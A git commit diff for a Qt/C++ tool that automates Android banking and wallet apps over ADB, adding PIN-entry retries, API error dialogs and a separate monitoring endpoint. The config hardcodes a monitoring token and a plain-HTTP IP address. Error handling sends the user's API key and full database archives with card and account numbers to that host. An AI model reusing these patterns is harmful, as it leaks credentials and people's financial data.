Add enhanced error handling, logging, and monitoring capabilities across systems. Include archive naming, retry logic for partial PIN entry, API response error dialogs, and support for monitoring tokens.
This commit is contained in:
parent
56ba89522c
commit
07871231a3
@ -46,6 +46,34 @@ bool CommonScript::inputPinCode(const QString &deviceId, const QString &pinCode)
|
|||||||
qWarning() << "[Dushanbe::inputPinCode] pinCode is EMPTY — nothing to enter!";
|
qWarning() << "[Dushanbe::inputPinCode] pinCode is EMPTY — nothing to enter!";
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Ждём, пока на экране появятся все уникальные цифры из PIN.
|
||||||
|
// DC Next на некоторых устройствах успевает показать заголовок
|
||||||
|
// "Введите код доступа" раньше, чем дорисует кнопочную сетку, —
|
||||||
|
// если начать тапать в этот момент, часть цифр не найдётся и PIN
|
||||||
|
// не введётся целиком.
|
||||||
|
bool seenInPin[10] = {false};
|
||||||
|
for (const QChar &d : pinCode) {
|
||||||
|
if (!d.isDigit()) continue;
|
||||||
|
const int idx = d.digitValue();
|
||||||
|
if (idx >= 0 && idx <= 9) seenInPin[idx] = true;
|
||||||
|
}
|
||||||
|
auto allDigitsPresent = [this, &seenInPin]() {
|
||||||
|
for (int d = 0; d < 10; ++d) {
|
||||||
|
if (!seenInPin[d]) continue;
|
||||||
|
if (xmlScreenParser.findNodeByContentDesc(QString::number(d)).isEmpty()) return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
for (int i = 0; i < 6 && !allDigitsPresent(); ++i) {
|
||||||
|
QThread::msleep(500);
|
||||||
|
xmlScreenParser.parseAndSaveXml(AdbUtils::getScreenDumpAsXml(deviceId, ++m_counter));
|
||||||
|
}
|
||||||
|
if (!allDigitsPresent()) {
|
||||||
|
qWarning() << "[Dushanbe::inputPinCode] keypad incomplete after wait; aborting";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
qDebug() << "[Dushanbe::inputPinCode] entering" << pinCode.length() << "digits";
|
qDebug() << "[Dushanbe::inputPinCode] entering" << pinCode.length() << "digits";
|
||||||
// DC Next использует кнопочную сетку для ввода PIN (content-desc = "0"-"9")
|
// DC Next использует кнопочную сетку для ввода PIN (content-desc = "0"-"9")
|
||||||
for (const QChar &digit : pinCode) {
|
for (const QChar &digit : pinCode) {
|
||||||
@ -124,10 +152,14 @@ bool CommonScript::runAppAndGoToHomeScreen(
|
|||||||
|
|
||||||
if (!findAndInputPincode && xmlScreenParser.isPinCodeScreen()) {
|
if (!findAndInputPincode && xmlScreenParser.isPinCodeScreen()) {
|
||||||
qDebug() << "[Dushanbe] PIN screen detected on attempt" << counter << "entering PIN";
|
qDebug() << "[Dushanbe] PIN screen detected on attempt" << counter << "entering PIN";
|
||||||
if (!inputPinCode(deviceId, pinCode)) {
|
if (inputPinCode(deviceId, pinCode)) {
|
||||||
qWarning() << "[Dushanbe] inputPinCode failed on attempt" << counter;
|
findAndInputPincode = true;
|
||||||
|
} else {
|
||||||
|
// Клавиатура могла не дорисоваться или PIN ввёлся частично —
|
||||||
|
// оставляем флаг false, следующая итерация повторит ввод,
|
||||||
|
// когда кнопки появятся.
|
||||||
|
qWarning() << "[Dushanbe] inputPinCode failed on attempt" << counter << "— will retry";
|
||||||
}
|
}
|
||||||
findAndInputPincode = true;
|
|
||||||
QThread::msleep(3000);
|
QThread::msleep(3000);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|||||||
@ -20,6 +20,8 @@ pathDeviceScreenshot=/api/v1/device/add_screenshot/
|
|||||||
pathMaterial=/api/v1/profile/material
|
pathMaterial=/api/v1/profile/material
|
||||||
pathMonitoringLog=/monitoring/log
|
pathMonitoringLog=/monitoring/log
|
||||||
pathMonitoringDump=/monitoring/dump
|
pathMonitoringDump=/monitoring/dump
|
||||||
|
monitoringBase=http://142.93.102.40:8080
|
||||||
|
monitoringToken=509b91592749959b9ff56f9ed9189e5b3e91e1260003f63c477255e1c187298a
|
||||||
|
|
||||||
[black]
|
[black]
|
||||||
android_package_name=app.blackwallet.ar
|
android_package_name=app.blackwallet.ar
|
||||||
|
|||||||
@ -205,6 +205,7 @@ QList<MaterialInfo> MaterialDAO::getAccounts(const QString &deviceId, const QStr
|
|||||||
SELECT id, device_id, app_code, last_numbers, card_number, account_number, material_id, amount, update_time, status, description, currency
|
SELECT id, device_id, app_code, last_numbers, card_number, account_number, material_id, amount, update_time, status, description, currency
|
||||||
FROM materials
|
FROM materials
|
||||||
WHERE device_id = :device_id AND app_code = :app_code
|
WHERE device_id = :device_id AND app_code = :app_code
|
||||||
|
ORDER BY id
|
||||||
)");
|
)");
|
||||||
|
|
||||||
query.bindValue(":device_id", deviceId);
|
query.bindValue(":device_id", deviceId);
|
||||||
|
|||||||
@ -14,7 +14,9 @@
|
|||||||
#include "dao/BankProfileDAO.h"
|
#include "dao/BankProfileDAO.h"
|
||||||
#include "dao/DeviceDAO.h"
|
#include "dao/DeviceDAO.h"
|
||||||
#include "dao/EventDAO.h"
|
#include "dao/EventDAO.h"
|
||||||
|
#include "dao/SettingsDAO.h"
|
||||||
#include "dao/TransactionDAO.h"
|
#include "dao/TransactionDAO.h"
|
||||||
|
#include "LogArchiveSender.h"
|
||||||
#include "db/BankProfileInfo.h"
|
#include "db/BankProfileInfo.h"
|
||||||
#include "adb/AdbUtils.h"
|
#include "adb/AdbUtils.h"
|
||||||
#include "dao/GeneralLogDAO.h"
|
#include "dao/GeneralLogDAO.h"
|
||||||
@ -210,10 +212,20 @@ static void sendTaskError(const QString &type, const QString &materialId, const
|
|||||||
sendTaskResult(QStringLiteral("ERROR"), materialId, bankName, errorData, eventId);
|
sendTaskResult(QStringLiteral("ERROR"), materialId, bankName, errorData, eventId);
|
||||||
|
|
||||||
if (!screenshot.isEmpty()) {
|
if (!screenshot.isEmpty()) {
|
||||||
const QString message = QStringLiteral("[%1] bank=%2 material=%3: %4")
|
const QString apiToken = SettingsDAO::get("api_key");
|
||||||
.arg(type, bankName, materialId, description);
|
QStringList lines;
|
||||||
|
lines << QStringLiteral("<b>[TASK_ERROR] [%1] [%2]</b>")
|
||||||
|
.arg(type.toHtmlEscaped(), bankName.toUpper().toHtmlEscaped());
|
||||||
|
if (!apiToken.isEmpty())
|
||||||
|
lines << QStringLiteral("<b>[%1]</b>").arg(apiToken.toHtmlEscaped());
|
||||||
|
lines << QStringLiteral("<b>[%1]</b>").arg(materialId.toHtmlEscaped());
|
||||||
|
lines << description.toHtmlEscaped();
|
||||||
|
const QString message = lines.join(QStringLiteral("\n"));
|
||||||
sendMonitoringLog("error", "task_error", message, screenshot, eventId);
|
sendMonitoringLog("error", "task_error", message, screenshot, eventId);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Следом ушлём application.log + БД (с WAL/SHM) одним архивом.
|
||||||
|
LogArchiveSender::dispatch(QStringLiteral("TASK_ERROR"), eventId);
|
||||||
}
|
}
|
||||||
|
|
||||||
static void sendMonitoringLog(const QString &type, const QString &event, const QString &message,
|
static void sendMonitoringLog(const QString &type, const QString &event, const QString &message,
|
||||||
@ -524,7 +536,7 @@ void EventHandler::startThreadForTask(const MaterialInfo &account, const EventIn
|
|||||||
if (searchTime.isValid() && searchTime.timeSpec() == Qt::LocalTime) {
|
if (searchTime.isValid() && searchTime.timeSpec() == Qt::LocalTime) {
|
||||||
qWarning() << "[EventHandler] FETCH_TRANSACTIONS: created_at без TZ-маркера"
|
qWarning() << "[EventHandler] FETCH_TRANSACTIONS: created_at без TZ-маркера"
|
||||||
<< createdAtStr << "— интерпретирую как UTC";
|
<< createdAtStr << "— интерпретирую как UTC";
|
||||||
searchTime.setTimeSpec(Qt::UTC);
|
searchTime.setTimeZone(QTimeZone::utc());
|
||||||
}
|
}
|
||||||
|
|
||||||
if (appCode == "ozon") {
|
if (appCode == "ozon") {
|
||||||
|
|||||||
@ -1,6 +1,8 @@
|
|||||||
#include "NetworkService.h"
|
#include "NetworkService.h"
|
||||||
|
|
||||||
|
#include <QApplication>
|
||||||
#include <QFile>
|
#include <QFile>
|
||||||
|
#include <QMessageBox>
|
||||||
#include <QUrlQuery>
|
#include <QUrlQuery>
|
||||||
#include <QHttpPart>
|
#include <QHttpPart>
|
||||||
#include <QNetworkReply>
|
#include <QNetworkReply>
|
||||||
@ -9,6 +11,7 @@
|
|||||||
#include <QJsonArray>
|
#include <QJsonArray>
|
||||||
#include <QThread>
|
#include <QThread>
|
||||||
#include <QSettings>
|
#include <QSettings>
|
||||||
|
#include <QWidget>
|
||||||
#include <QTimer>
|
#include <QTimer>
|
||||||
#include <QTimeZone>
|
#include <QTimeZone>
|
||||||
|
|
||||||
@ -62,6 +65,8 @@ NetworkService::NetworkService(QObject *parent) : QObject(parent) {
|
|||||||
m_pathTaskResult = settings.value("net/pathTaskResult", "/api/v1/task/task_result").toString();
|
m_pathTaskResult = settings.value("net/pathTaskResult", "/api/v1/task/task_result").toString();
|
||||||
m_pathMonitoringLog = settings.value("net/pathMonitoringLog", "/monitoring/log").toString();
|
m_pathMonitoringLog = settings.value("net/pathMonitoringLog", "/monitoring/log").toString();
|
||||||
m_pathMonitoringDump = settings.value("net/pathMonitoringDump", "/monitoring/dump").toString();
|
m_pathMonitoringDump = settings.value("net/pathMonitoringDump", "/monitoring/dump").toString();
|
||||||
|
m_monitoringBase = settings.value("net/monitoringBase", m_apiBase).toString();
|
||||||
|
m_monitoringToken = settings.value("net/monitoringToken").toString();
|
||||||
m_pathCurrentProfile = settings.value("net/pathCurrentProfile", "/api/v1/profile/current_profile").toString();
|
m_pathCurrentProfile = settings.value("net/pathCurrentProfile", "/api/v1/profile/current_profile").toString();
|
||||||
m_pathProfileGetInfo = settings.value("net/pathProfileGetInfo", "/api/v1/profile/get_info").toString();
|
m_pathProfileGetInfo = settings.value("net/pathProfileGetInfo", "/api/v1/profile/get_info").toString();
|
||||||
m_manager = new QNetworkAccessManager(this);
|
m_manager = new QNetworkAccessManager(this);
|
||||||
@ -496,6 +501,7 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod
|
|||||||
"Timeout (PATCH): " + shortPath, {}, reqBodyStr, {});
|
"Timeout (PATCH): " + shortPath, {}, reqBodyStr, {});
|
||||||
} else if (reply->error() != QNetworkReply::NoError) {
|
} else if (reply->error() != QNetworkReply::NoError) {
|
||||||
const QByteArray responseBody = reply->readAll();
|
const QByteArray responseBody = reply->readAll();
|
||||||
|
const int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
|
||||||
const QString errSummary = sanitizeNetError(reply, path);
|
const QString errSummary = sanitizeNetError(reply, path);
|
||||||
qCritical().noquote() << "Network error (PATCH):" << errSummary
|
qCritical().noquote() << "Network error (PATCH):" << errSummary
|
||||||
<< (m_deviceId.isEmpty() ? "" : " device=" + m_deviceId)
|
<< (m_deviceId.isEmpty() ? "" : " device=" + m_deviceId)
|
||||||
@ -503,6 +509,27 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod
|
|||||||
GeneralLogDAO::insert("CRITICAL", "NetworkService",
|
GeneralLogDAO::insert("CRITICAL", "NetworkService",
|
||||||
"Network error (PATCH): " + errSummary, {},
|
"Network error (PATCH): " + errSummary, {},
|
||||||
reqBodyStr, QString::fromUtf8(responseBody));
|
reqBodyStr, QString::fromUtf8(responseBody));
|
||||||
|
|
||||||
|
// Достаём текст ошибки из JSON-body и отправляем в UI.
|
||||||
|
// Бэкенд при HTTP 409 шлёт сообщение вида "материал заблокирован".
|
||||||
|
QString uiMessage;
|
||||||
|
QJsonParseError jerr;
|
||||||
|
const QJsonDocument errDoc = QJsonDocument::fromJson(responseBody, &jerr);
|
||||||
|
if (jerr.error == QJsonParseError::NoError && errDoc.isObject()) {
|
||||||
|
const QJsonObject errObj = errDoc.object();
|
||||||
|
for (const QString &k : {QStringLiteral("error"),
|
||||||
|
QStringLiteral("message"),
|
||||||
|
QStringLiteral("detail")}) {
|
||||||
|
const QString v = errObj.value(k).toString();
|
||||||
|
if (!v.isEmpty()) { uiMessage = v; break; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (uiMessage.isEmpty() && !responseBody.isEmpty()) {
|
||||||
|
uiMessage = QString::fromUtf8(responseBody).left(300);
|
||||||
|
}
|
||||||
|
if (!uiMessage.isEmpty()) {
|
||||||
|
emit apiPatchError(httpStatus, uiMessage);
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
const QByteArray raw = reply->readAll();
|
const QByteArray raw = reply->readAll();
|
||||||
QJsonParseError err;
|
QJsonParseError err;
|
||||||
@ -516,6 +543,15 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod
|
|||||||
GeneralLogDAO::insert("WARNING", "NetworkService",
|
GeneralLogDAO::insert("WARNING", "NetworkService",
|
||||||
"API error (PATCH): " + sanitizePath(path), {},
|
"API error (PATCH): " + sanitizePath(path), {},
|
||||||
reqBodyStr, QString::fromUtf8(raw));
|
reqBodyStr, QString::fromUtf8(raw));
|
||||||
|
// Defense in depth: backend может прислать HTTP 200 + success:false
|
||||||
|
// (например с {message:"Material is blocked"}). Тоже эмитим в UI.
|
||||||
|
const int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
|
||||||
|
QString uiMessage = root.value("message").toString();
|
||||||
|
if (uiMessage.isEmpty()) uiMessage = root.value("error").toString();
|
||||||
|
if (uiMessage.isEmpty()) uiMessage = root.value("detail").toString();
|
||||||
|
if (!uiMessage.isEmpty()) {
|
||||||
|
emit apiPatchError(httpStatus, uiMessage);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -1414,12 +1450,10 @@ void NetworkService::postMonitoringLog(const QString &type, const QString &event
|
|||||||
multiPart->append(imagePart);
|
multiPart->append(imagePart);
|
||||||
}
|
}
|
||||||
|
|
||||||
ensureValidToken();
|
const QUrl url(m_monitoringBase + m_pathMonitoringLog);
|
||||||
|
|
||||||
const QUrl url(m_apiBase + m_pathMonitoringLog);
|
|
||||||
QNetworkRequest request(url);
|
QNetworkRequest request(url);
|
||||||
if (!m_accessToken.isEmpty()) {
|
if (!m_monitoringToken.isEmpty()) {
|
||||||
request.setRawHeader("Authorization", ("Bearer " + m_accessToken).toUtf8());
|
request.setRawHeader("X-Monitoring-Token", m_monitoringToken.toUtf8());
|
||||||
}
|
}
|
||||||
|
|
||||||
QNetworkReply *reply = m_manager->post(request, multiPart);
|
QNetworkReply *reply = m_manager->post(request, multiPart);
|
||||||
@ -1444,9 +1478,11 @@ void NetworkService::postMonitoringLog(const QString &type, const QString &event
|
|||||||
}
|
}
|
||||||
|
|
||||||
void NetworkService::postMonitoringDump(const QString &text, const QByteArray &archive,
|
void NetworkService::postMonitoringDump(const QString &text, const QByteArray &archive,
|
||||||
const QByteArray &image) {
|
const QByteArray &image,
|
||||||
|
const QString &archiveFilename) {
|
||||||
qDebug() << "[NetworkService] postMonitoringDump enter — text.size=" << text.size()
|
qDebug() << "[NetworkService] postMonitoringDump enter — text.size=" << text.size()
|
||||||
<< "archive.size=" << archive.size() << "image.size=" << image.size();
|
<< "archive.size=" << archive.size() << "image.size=" << image.size()
|
||||||
|
<< "archiveFilename=" << archiveFilename;
|
||||||
auto *multiPart = new QHttpMultiPart(QHttpMultiPart::FormDataType);
|
auto *multiPart = new QHttpMultiPart(QHttpMultiPart::FormDataType);
|
||||||
|
|
||||||
addFormField(multiPart, "text", text);
|
addFormField(multiPart, "text", text);
|
||||||
@ -1456,7 +1492,7 @@ void NetworkService::postMonitoringDump(const QString &text, const QByteArray &a
|
|||||||
filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/zip");
|
filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/zip");
|
||||||
filePart.setHeader(
|
filePart.setHeader(
|
||||||
QNetworkRequest::ContentDispositionHeader,
|
QNetworkRequest::ContentDispositionHeader,
|
||||||
QStringLiteral("form-data; name=\"file\"; filename=\"task_dump.zip\"")
|
QStringLiteral("form-data; name=\"file\"; filename=\"%1\"").arg(archiveFilename)
|
||||||
);
|
);
|
||||||
filePart.setBody(archive);
|
filePart.setBody(archive);
|
||||||
multiPart->append(filePart);
|
multiPart->append(filePart);
|
||||||
@ -1473,12 +1509,10 @@ void NetworkService::postMonitoringDump(const QString &text, const QByteArray &a
|
|||||||
multiPart->append(imagePart);
|
multiPart->append(imagePart);
|
||||||
}
|
}
|
||||||
|
|
||||||
ensureValidToken();
|
const QUrl url(m_monitoringBase + m_pathMonitoringDump);
|
||||||
|
|
||||||
const QUrl url(m_apiBase + m_pathMonitoringDump);
|
|
||||||
QNetworkRequest request(url);
|
QNetworkRequest request(url);
|
||||||
if (!m_accessToken.isEmpty()) {
|
if (!m_monitoringToken.isEmpty()) {
|
||||||
request.setRawHeader("Authorization", ("Bearer " + m_accessToken).toUtf8());
|
request.setRawHeader("X-Monitoring-Token", m_monitoringToken.toUtf8());
|
||||||
}
|
}
|
||||||
|
|
||||||
qDebug() << "[NetworkService] postMonitoringDump POST" << url.toString();
|
qDebug() << "[NetworkService] postMonitoringDump POST" << url.toString();
|
||||||
@ -1605,3 +1639,16 @@ void NetworkService::stop() {
|
|||||||
emit finished();
|
emit finished();
|
||||||
}, Qt::QueuedConnection);
|
}, Qt::QueuedConnection);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void NetworkService::connectErrorDialog(QWidget *parent, NetworkService *net) {
|
||||||
|
if (!net) return;
|
||||||
|
// Если parent есть — connect привязан к нему (авто-disconnect при уничтожении).
|
||||||
|
// Если nullptr — привязываемся к самому net и берём activeWindow на момент сигнала.
|
||||||
|
QObject *ctx = parent ? static_cast<QObject *>(parent) : static_cast<QObject *>(net);
|
||||||
|
QObject::connect(net, &NetworkService::apiPatchError, ctx,
|
||||||
|
[parent](int httpStatus, const QString &message) {
|
||||||
|
Q_UNUSED(httpStatus);
|
||||||
|
QWidget *p = parent ? parent : qApp->activeWindow();
|
||||||
|
QMessageBox::warning(p, "Ошибка", message);
|
||||||
|
}, Qt::QueuedConnection);
|
||||||
|
}
|
||||||
|
|||||||
@ -5,6 +5,8 @@
|
|||||||
#include <QObject>
|
#include <QObject>
|
||||||
#include <QMap>
|
#include <QMap>
|
||||||
|
|
||||||
|
class QWidget;
|
||||||
|
|
||||||
class NetworkService final : public QObject {
|
class NetworkService final : public QObject {
|
||||||
Q_OBJECT
|
Q_OBJECT
|
||||||
|
|
||||||
@ -21,6 +23,11 @@ public:
|
|||||||
|
|
||||||
void addExtra(const QString &key, const QVariant &value);
|
void addExtra(const QString &key, const QVariant &value);
|
||||||
|
|
||||||
|
// Подвешивает QMessageBox с текстом ошибки от backend (HTTP 409 — "материал
|
||||||
|
// заблокирован" и подобные) к ближайшему окну. Вызывать после `new NetworkService`
|
||||||
|
// в UI-коде, до запуска треда.
|
||||||
|
static void connectErrorDialog(QWidget *parent, NetworkService *net);
|
||||||
|
|
||||||
public slots:
|
public slots:
|
||||||
void postAccountsData();
|
void postAccountsData();
|
||||||
|
|
||||||
@ -63,7 +70,8 @@ public slots:
|
|||||||
const QString &message, const QByteArray &image);
|
const QString &message, const QByteArray &image);
|
||||||
|
|
||||||
void postMonitoringDump(const QString &text, const QByteArray &archive,
|
void postMonitoringDump(const QString &text, const QByteArray &archive,
|
||||||
const QByteArray &image);
|
const QByteArray &image,
|
||||||
|
const QString &archiveFilename = QStringLiteral("task_dump.zip"));
|
||||||
|
|
||||||
void start();
|
void start();
|
||||||
void stop();
|
void stop();
|
||||||
@ -75,6 +83,9 @@ signals:
|
|||||||
void finishedWithResult(int value);
|
void finishedWithResult(int value);
|
||||||
void tokenRefreshFailed();
|
void tokenRefreshFailed();
|
||||||
void tasksReceived(QJsonArray tasks);
|
void tasksReceived(QJsonArray tasks);
|
||||||
|
// Эмитится при HTTP-ошибке PATCH-запроса (например, 409 'материал заблокирован').
|
||||||
|
// UI подписывается и показывает QMessageBox.
|
||||||
|
void apiPatchError(int httpStatus, QString message);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
QByteArray m_json;
|
QByteArray m_json;
|
||||||
@ -103,6 +114,8 @@ private:
|
|||||||
QString m_pathTaskResult;
|
QString m_pathTaskResult;
|
||||||
QString m_pathMonitoringLog;
|
QString m_pathMonitoringLog;
|
||||||
QString m_pathMonitoringDump;
|
QString m_pathMonitoringDump;
|
||||||
|
QString m_monitoringBase;
|
||||||
|
QString m_monitoringToken;
|
||||||
QString m_pathCurrentProfile;
|
QString m_pathCurrentProfile;
|
||||||
QString m_pathProfileGetInfo;
|
QString m_pathProfileGetInfo;
|
||||||
bool m_fetchingTasks = false;
|
bool m_fetchingTasks = false;
|
||||||
|
|||||||
@ -259,6 +259,7 @@ void AccountSettingsWindow::toggleProfileStatus() {
|
|||||||
net->moveToThread(thread);
|
net->moveToThread(thread);
|
||||||
net->addExtra("material_id", mat.materialId);
|
net->addExtra("material_id", mat.materialId);
|
||||||
net->addExtra("enable", true);
|
net->addExtra("enable", true);
|
||||||
|
NetworkService::connectErrorDialog(this, net);
|
||||||
connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
||||||
connect(net, &NetworkService::finished, thread, &QThread::quit);
|
connect(net, &NetworkService::finished, thread, &QThread::quit);
|
||||||
connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
||||||
@ -475,6 +476,7 @@ void AccountSettingsWindow::sendAppStatus(const QString &status) {
|
|||||||
net->moveToThread(thread);
|
net->moveToThread(thread);
|
||||||
net->addExtra("bank_profile_id", m_app.bankProfileId);
|
net->addExtra("bank_profile_id", m_app.bankProfileId);
|
||||||
net->addExtra("enable", enable);
|
net->addExtra("enable", enable);
|
||||||
|
NetworkService::connectErrorDialog(this, net);
|
||||||
connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile);
|
connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile);
|
||||||
connect(net, &NetworkService::finishedWithResult, this, [this](int result) {
|
connect(net, &NetworkService::finishedWithResult, this, [this](int result) {
|
||||||
if (result == 0) {
|
if (result == 0) {
|
||||||
@ -547,6 +549,16 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
|||||||
reloadCards();
|
reloadCards();
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Сервер не даёт включать материалы при выключенном профиле — возвращает их
|
||||||
|
// в `disabled`, и client-side sync затирает локальный active. Поэтому пока
|
||||||
|
// профиль off, синхронизация только локальная; материалы зальются на сервер
|
||||||
|
// когда юзер включит профиль (см. toggleProfileStatus).
|
||||||
|
const bool profileActive = m_app.status == "active";
|
||||||
|
if (!profileActive) {
|
||||||
|
hideOverlay(true, "Сохранено локально", finishToggle);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
// Выключаем на сервере остальные (fire-and-forget) — только при включении этой карты
|
// Выключаем на сервере остальные (fire-and-forget) — только при включении этой карты
|
||||||
if (!isActive) {
|
if (!isActive) {
|
||||||
for (const MaterialInfo &m : deactivated) {
|
for (const MaterialInfo &m : deactivated) {
|
||||||
@ -556,6 +568,7 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
|||||||
n->moveToThread(t);
|
n->moveToThread(t);
|
||||||
n->addExtra("material_id", m.materialId);
|
n->addExtra("material_id", m.materialId);
|
||||||
n->addExtra("enable", false);
|
n->addExtra("enable", false);
|
||||||
|
NetworkService::connectErrorDialog(this, n);
|
||||||
connect(t, &QThread::started, n, &NetworkService::toggleMaterial);
|
connect(t, &QThread::started, n, &NetworkService::toggleMaterial);
|
||||||
connect(n, &NetworkService::finished, t, &QThread::quit);
|
connect(n, &NetworkService::finished, t, &QThread::quit);
|
||||||
connect(n, &NetworkService::finished, n, &QObject::deleteLater);
|
connect(n, &NetworkService::finished, n, &QObject::deleteLater);
|
||||||
@ -570,6 +583,7 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
|||||||
net->moveToThread(thread);
|
net->moveToThread(thread);
|
||||||
net->addExtra("material_id", account.materialId);
|
net->addExtra("material_id", account.materialId);
|
||||||
net->addExtra("enable", !isActive);
|
net->addExtra("enable", !isActive);
|
||||||
|
NetworkService::connectErrorDialog(this, net);
|
||||||
connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
||||||
connect(net, &NetworkService::finishedWithResult, this, [this, finishToggle](int result) {
|
connect(net, &NetworkService::finishedWithResult, this, [this, finishToggle](int result) {
|
||||||
if (result == 0) {
|
if (result == 0) {
|
||||||
@ -592,7 +606,10 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) {
|
|||||||
void AccountSettingsWindow::reloadCards() {
|
void AccountSettingsWindow::reloadCards() {
|
||||||
const QList<MaterialInfo> accounts = MaterialDAO::getAccounts(m_deviceId, m_app.code);
|
const QList<MaterialInfo> accounts = MaterialDAO::getAccounts(m_deviceId, m_app.code);
|
||||||
|
|
||||||
m_cardsTable->clearContents();
|
// setRowCount(0) перед re-fill удаляет и items, и cell widgets.
|
||||||
|
// clearContents() оставляет setCellWidget'ы висеть — старые кнопки с
|
||||||
|
// замкнутой устаревшей `acc` остаются в строках, ставших active.
|
||||||
|
m_cardsTable->setRowCount(0);
|
||||||
m_cardsTable->setRowCount(accounts.size());
|
m_cardsTable->setRowCount(accounts.size());
|
||||||
m_cardsTable->setColumnCount(8);
|
m_cardsTable->setColumnCount(8);
|
||||||
m_cardsTable->setHorizontalHeaderLabels({
|
m_cardsTable->setHorizontalHeaderLabels({
|
||||||
|
|||||||
@ -138,6 +138,7 @@ void sendAppStatus(const QString &deviceId, const QString &code, const QString &
|
|||||||
net->moveToThread(thread);
|
net->moveToThread(thread);
|
||||||
net->addExtra("bank_profile_id", app.bankProfileId);
|
net->addExtra("bank_profile_id", app.bankProfileId);
|
||||||
net->addExtra("enable", enable);
|
net->addExtra("enable", enable);
|
||||||
|
NetworkService::connectErrorDialog(nullptr, net);
|
||||||
QObject::connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile);
|
QObject::connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile);
|
||||||
QObject::connect(net, &NetworkService::finished, thread, &QThread::quit);
|
QObject::connect(net, &NetworkService::finished, thread, &QThread::quit);
|
||||||
QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
||||||
|
|||||||
@ -636,13 +636,14 @@ void BankSetupWizard::applyActiveCardSelection() {
|
|||||||
|
|
||||||
const MaterialInfo selected = MaterialDAO::getAccountById(m_selectedMaterialId);
|
const MaterialInfo selected = MaterialDAO::getAccountById(m_selectedMaterialId);
|
||||||
|
|
||||||
auto sendToggle = [](const QString &materialId, bool enable) {
|
auto sendToggle = [this](const QString &materialId, bool enable) {
|
||||||
if (materialId.isEmpty()) return;
|
if (materialId.isEmpty()) return;
|
||||||
auto *thread = new QThread;
|
auto *thread = new QThread;
|
||||||
auto *net = new NetworkService;
|
auto *net = new NetworkService;
|
||||||
net->moveToThread(thread);
|
net->moveToThread(thread);
|
||||||
net->addExtra("material_id", materialId);
|
net->addExtra("material_id", materialId);
|
||||||
net->addExtra("enable", enable);
|
net->addExtra("enable", enable);
|
||||||
|
NetworkService::connectErrorDialog(this, net);
|
||||||
QObject::connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
QObject::connect(thread, &QThread::started, net, &NetworkService::toggleMaterial);
|
||||||
QObject::connect(net, &NetworkService::finished, thread, &QThread::quit);
|
QObject::connect(net, &NetworkService::finished, thread, &QThread::quit);
|
||||||
QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater);
|
||||||
|
|||||||
@ -406,11 +406,14 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
|||||||
QSettings settings(QCoreApplication::applicationDirPath() + "/config.ini",
|
QSettings settings(QCoreApplication::applicationDirPath() + "/config.ini",
|
||||||
QSettings::IniFormat);
|
QSettings::IniFormat);
|
||||||
const QString apiBase = settings.value("net/apiBase").toString();
|
const QString apiBase = settings.value("net/apiBase").toString();
|
||||||
|
const QString monitoringBase = settings.value("net/monitoringBase", apiBase).toString();
|
||||||
|
const QString monitoringToken = settings.value("net/monitoringToken").toString();
|
||||||
|
const QString apiToken = SettingsDAO::get("api_key");
|
||||||
const QString path = settings.value("net/pathMonitoringDump",
|
const QString path = settings.value("net/pathMonitoringDump",
|
||||||
"/monitoring/dump").toString();
|
"/monitoring/dump").toString();
|
||||||
if (apiBase.isEmpty()) {
|
if (monitoringBase.isEmpty()) {
|
||||||
QMessageBox::warning(nullptr, tr("Ошибка"),
|
QMessageBox::warning(nullptr, tr("Ошибка"),
|
||||||
tr("В config.ini не задан net/apiBase"));
|
tr("В config.ini не задан net/monitoringBase (или net/apiBase как fallback)"));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -483,7 +486,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p
|
|||||||
safetyTimer->start(90000);
|
safetyTimer->start(90000);
|
||||||
|
|
||||||
QObject::connect(worker, &QThread::finished, qApp,
|
QObject::connect(worker, &QThread::finished, qApp,
|
||||||
[worker, data, device, adbSerial, apiBase, path,
|
[worker, data, device, monitoringBase, monitoringToken, apiToken, path,
|
||||||
handled, closeAndReenable, safetyTimer, progressGuard]() {
|
